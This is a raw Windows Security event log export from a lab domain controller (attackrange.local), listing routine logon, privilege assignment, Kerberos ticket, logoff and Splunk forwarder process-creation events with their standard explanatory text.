03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250360
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107F41

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250359
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107F41
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAA67AFB-3021-4172-D612-68D93CA3CCF8}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250358
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{DAA67AFB-3021-4172-D612-68D93CA3CCF8}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250357
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{DAA67AFB-3021-4172-D612-68D93CA3CCF8}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250356
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250355
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107F25

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250354
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107F25

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250353
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107F25
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAA67AFB-3021-4172-D612-68D93CA3CCF8}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250352
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{DAA67AFB-3021-4172-D612-68D93CA3CCF8}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250351
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{DAA67AFB-3021-4172-D612-68D93CA3CCF8}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250350
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250349
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107442

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250348
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF16DD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250347
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF03A5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250346
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107E3D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250345
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x107E3D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64438

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250344
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107E3D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250343
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107DDC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250342
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x107DDC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64437

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250341
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107DDC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250340
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107D76

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250339
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x107D76
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64436

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250338
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107D76

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250337
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107D15

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250336
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x107D15
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64435

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250335
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107D15

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250334
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1334
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250407
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10A7BC

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250406
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10A7BC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{17F20083-7027-6012-0E65-C3D323582E2E}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

